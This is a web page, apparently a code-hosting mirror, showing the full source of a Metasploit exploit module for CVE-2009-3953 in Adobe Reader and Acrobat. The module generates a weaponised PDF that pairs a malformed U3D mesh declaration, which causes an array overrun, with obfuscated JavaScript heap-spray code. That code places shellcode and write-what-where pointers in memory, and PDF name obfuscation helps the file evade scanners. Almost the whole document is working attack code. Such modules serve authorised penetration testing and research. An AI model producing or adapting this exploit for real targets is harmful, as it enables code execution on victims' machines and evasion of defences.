Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',15'Description' => %q{16This module exploits an array overflow in Adobe Reader and Adobe Acrobat.17Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a18specially crafted pdf that a contains malformed U3D data, an attacker may19be able to execute arbitrary code.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',25'jduck'26],27'References' =>28[29[ 'CVE', '2009-3953' ],30[ 'OSVDB', '61690' ],31[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]32],33'DefaultOptions' =>34{35'EXITFUNC' => 'process',36'DisablePayloadHandler' => true37},38'Payload' =>39{40'Space' => 1024,41'BadChars' => "\x00",42'DisableNops' => true43},44'Platform' => 'win',45'Targets' =>46[47# test results (on Windows XP SP3)48# reader 7.0.5 - untested49# reader 7.0.8 - untested50# reader 7.0.9 - untested51# reader 7.1.0 - untested52# reader 7.1.1 - untested53# reader 8.0.0 - untested54# reader 8.1.2 - works55# reader 8.1.3 - not working :-/56# reader 8.1.4 - untested57# reader 8.1.5 - untested58# reader 8.1.6 - untested59# reader 9.0.0 - untested60# reader 9.1.0 - works61[ 'Adobe Reader Windows Universal (JS Heap Spray)',62{63'Size' => (6500/20),64'DataAddr' => 0x09011020,65'WriteAddr' => 0x7c49fb34,66}67],68],69'DisclosureDate' => '2009-10-13',70'DefaultTarget' => 0))7172register_options(73[74OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),75])7677end78798081def exploit82# Encode the shellcode.83shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))8485# Make some nops86nops = Rex::Text.to_unescape(make_nops(4))8788=begin8990Original notes on heap technique used in this exploit:9192## PREPAREHOLES:93## We will construct 6500*20 bytes long chunks starting like this94## |0 |6 |8 |C |24 |size95## |00000... |0100|20100190|0000... | ......pad...... |96## \ \97## \ \ -Pointer: to controlled data98## \ -Flag: must be 199## -Adobe will handle this ragged structure if the Flag is on.100## -Adobe will get 'what to write where' from the memory pointed101## by our supplied Pointer.102##103## then allocate a bunch of those ..104## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..105## |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|106##107## and then free some of them...108## .. | chunk | free | chunk | free | chunk | free | chunck | ..109## |XXXXXXX| |XXXXXXX| |XXXXXXX| |XXXXXXXX|110##111## This way controlling when the next 6500*20 malloc will be112## followed with. We freed more than one hole so it became tolerant113## to some degree of malloc/free trace noise.114## Note the 6500 is arbitrary it should be a fairly unused chunk size115## not big enough to cause a different type of allocation.116## Also as we don't need to reference it from anywhere we don't care117## where this hole layout is placed in memory.118119## PREPAREMEMORY:120## In the next technique we make a big-chunk of 0x10000 bytes121## repeating a 0x1000 bytes long mini-chunk of controled data.122## Big-chunks are always allocated aligned to 0x1000. And if we123## allocate a fair amount of big-chuncks (XPSPx) we'll be confident124## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000125## will have our mini chunk126##127## A mini-chunk will have this look128##129## |0 |10 |54 |? |0xff0 |0x1000130## |00000... | POINTERS | nops | shellcode | pad |131##132## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+133## But we use 0x09011064.134## POINTERS looks like this:135## ...136137=end138139# prepare the hole140daddr = target['DataAddr']141hole_data = [0,0,1,daddr].pack('VvvV')142#padding143hole_data << "\x00" * 24144hole = Rex::Text.to_unescape(hole_data)145146# prepare ptrs147ptrs_data = [0].pack('V')148#where to write149ptrs_data << [target['WriteAddr'] / 4].pack('V')150#must be greater tan 5 and less than x for getting us where we want151ptrs_data << [6].pack('V')152#what to write153ptrs_data << [(daddr+0x10)].pack('V')154#autopointer for print magic(tm)155ptrs_data << [(daddr+0x14)].pack('V')156#function pointers for print magic(tm)157#pointing to our shellcode158ptrs_data << [(daddr+0x44)].pack('V') * 12159ptrs = Rex::Text.to_unescape(ptrs_data)160161js_doc = <<-EOF162function prepareHoles(slide_size)163{164var size = 1000;165var xarr = new Array(size);166var hole = unescape("#{hole}");167var pad = unescape("%u5858");168while (pad.length <= slide_size/2 - hole.length)169pad += pad;170for (loop1=0; loop1 < size; loop1+=1)171{172ident = ""+loop1;173xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);174}175for (loop2=0;loop2<100;loop2++)176{177for (loop1=size/2; loop1 < size-2; loop1+=2)178{179xarr[loop1]=null;180xarr[loop1]=pad.substring(0,0x10000/2 )+"A";181xarr[loop1]=null;182}183}184return xarr;185}186187function prepareMemory(size)188{189var mini_slide_size = 0x1000;190var slide_size = 0x100000;191var xarr = new Array(size);192var pad = unescape("%ucccc");193194while (pad.length <= 32 )195pad += pad;196197var nops = unescape("#{nops}");198while (nops.length <= mini_slide_size/2 - nops.length)199nops += nops;200201var shellcode = unescape("#{shellcode}");202var pointers = unescape("#{ptrs}");203var chunk = nops.substring(0,32/2) + pointers +204nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +205shellcode + pad.substring(0,32/2);206chunk=chunk.substring(0,mini_slide_size/2);207while (chunk.length <= slide_size/2)208chunk += chunk;209210for (loop1=0; loop1 < size; loop1+=1)211{212ident = ""+loop1;213xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;214}215return xarr;216}217218var mem = prepareMemory(200);219var holes = prepareHoles(6500);220this.pageNum = 1;221EOF222js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|223224# Obfuscate it up a bit225js_doc = obfuscate_js(js_doc,226'Symbols' => {227'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },228'Methods' => %W{ prepareMemory prepareHoles }229}).to_s230231# create the u3d stuff232u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))233234# Create the pdf235pdf = make_pdf(u3d, js_doc, js_pg1)236237print_status("Creating '#{datastore['FILENAME']}' file...")238239file_create(pdf)240end241242243def obfuscate_js(javascript, opts)244js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)245js.obfuscate246return js247end248249250def random_non_ascii_string(count)251result = ""252count.times do253result << (rand(128) + 128).chr254end255result256end257258def io_def(id)259"%d 0 obj\n" % id260end261262def io_ref(id)263"%d 0 R" % id264end265266#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/267def n_obfu(str)268269result = ""270str.scan(/./u) do |c|271if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'272result << "#%x" % c.unpack("C*")[0]273else274result << c275end276end277result278end279280def ascii_hex_whitespace_encode(str)281result = ""282whitespace = ""283str.each_byte do |b|284result << whitespace << "%02x" % b285whitespace = " " * (rand(3) + 1)286end287result << ">"288end289290def u3d_pad(str, char="\x00")291ret = ""292if (str.length % 4) > 0293ret << char * (4 - (str.length % 4))294end295return ret296end297298299def make_u3d_stream(size, meshname)300301# build the U3D header302hdr_data = [1,0].pack('n*') # version info303hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')304hdr = "U3D\x00"305hdr << [hdr_data.length,0].pack('VV')306hdr << hdr_data307308# mesh declaration309decl_data = [meshname.length].pack('v')310decl_data << meshname311decl_data << [0].pack('V') # chain idx312# max mesh desc313decl_data << [0].pack('V') # mesh attrs314decl_data << [1].pack('V') # face count315decl_data << [size].pack('V') # position count316decl_data << [4].pack('V') # normal count317decl_data << [0].pack('V') # diffuse color count318decl_data << [0].pack('V') # specular color count319decl_data << [0].pack('V') # texture coord count320decl_data << [1].pack('V') # shading count321# shading desc322decl_data << [0].pack('V') # shading attr323decl_data << [0].pack('V') # texture layer count324decl_data << [0].pack('V') # texture coord dimensions325# no textore coords (original shading ids)326decl_data << [size+2].pack('V') # minimum resolution327decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum)328# quality factors329decl_data << [0x12c].pack('V') # position quality factor330decl_data << [0x12c].pack('V') # normal quality factor331decl_data << [0x12c].pack('V') # texture coord quality factor332# inverse quantiziation333decl_data << [0].pack('V') # position inverse quant334decl_data << [0].pack('V') # normal inverse quant335decl_data << [0].pack('V') # texture coord inverse quant336decl_data << [0].pack('V') # diffuse color inverse quant337decl_data << [0].pack('V') # specular color inverse quant338# resource params339decl_data << [0].pack('V') # normal crease param340decl_data << [0].pack('V') # normal update param341decl_data << [0].pack('V') # normal tolerance param342# skeleton description343decl_data << [0].pack('V') # bone count344# padding345decl_pad = u3d_pad(decl_data)346mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')347mesh_decl << decl_data348mesh_decl << decl_pad349350# build the modifier chain351chain_data = [meshname.length].pack('v')352chain_data << meshname353chain_data << [1].pack('V') # type (model resource)354chain_data << [0].pack('V') # attributes (no bounding info)355chain_data << u3d_pad(chain_data)356chain_data << [1].pack('V') # number of modifiers357chain_data << mesh_decl358modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')359modifier_chain << chain_data360361# mesh continuation362cont_data = [meshname.length].pack('v')363cont_data << meshname364cont_data << [0].pack('V') # chain idx365cont_data << [0].pack('V') # start resolution366cont_data << [0].pack('V') # end resolution367# no resolution update, unknown data follows368cont_data << [0].pack('V')369cont_data << [1].pack('V') * 10370mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')371mesh_cont << cont_data372mesh_cont << u3d_pad(cont_data)373374data = hdr375data << modifier_chain376data << mesh_cont377378# patch the length379data[24,4] = [data.length].pack('V')380381return data382383end384385def make_pdf(u3d_stream, js_doc, js_pg1)386387xref = []388eol = "\x0a"389obj_end = "" << eol << "endobj" << eol390391# the header392pdf = "%PDF-1.7" << eol393394# filename/comment395pdf << "%" << random_non_ascii_string(4) << eol396397# js stream (doc open action js)398xref << pdf.length399compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc))400pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol401pdf << "stream" << eol402pdf << compressed << eol403pdf << "endstream" << eol404pdf << obj_end405406# js stream 2 (page 1 annot js)407xref << pdf.length408compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_pg1))409pdf << io_def(2) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol410pdf << "stream" << eol411pdf << compressed << eol412pdf << "endstream" << eol413pdf << obj_end414415# catalog416xref << pdf.length417pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4)418pdf << n_obfu("/Pages ") << io_ref(5)419pdf << n_obfu("/OpenAction ") << io_ref(8) << n_obfu(">>")420pdf << obj_end421422# outline423xref << pdf.length424pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>")425pdf << obj_end426427# pages/kids428xref << pdf.length429pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [")430pdf << io_ref(10) << " " # empty page431pdf << io_ref(11) # u3d page432pdf << n_obfu("]>>")433pdf << obj_end434435# u3d stream436xref << pdf.length437pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol438pdf << "stream" << eol439pdf << u3d_stream << eol440pdf << "endstream"441pdf << obj_end442443# u3d annotation object444xref << pdf.length445pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype")446pdf << "/3D/3DA <</A/PO/DIS/I>>"447pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>")448pdf << obj_end449450# js dict (open action js)451xref << pdf.length452pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end453454# js dict (page 1 annot js)455xref << pdf.length456pdf << io_def(9) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(2) + ">>" << obj_end457458# page 0 (empty)459xref << pdf.length460pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")461pdf << n_obfu(" >>")462pdf << obj_end463464# page 1 (u3d/print)465xref << pdf.length466pdf << io_def(11) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")467pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]")468pdf << n_obfu("/AA << /O ") << io_ref(9) << n_obfu(">>")469pdf << n_obfu(">>")470pdf << obj_end471472# xrefs473xrefPosition = pdf.length474pdf << "xref" << eol475pdf << "0 %d" % (xref.length + 1) << eol476pdf << "0000000000 65535 f" << eol477xref.each do |index|478pdf << "%010d 00000 n" % index << eol479end480481# trailer482pdf << "trailer" << eol483pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol484pdf << "startxref" << eol485pdf << xrefPosition.to_s() << eol486pdf << "%%EOF" << eol487488end489end490491492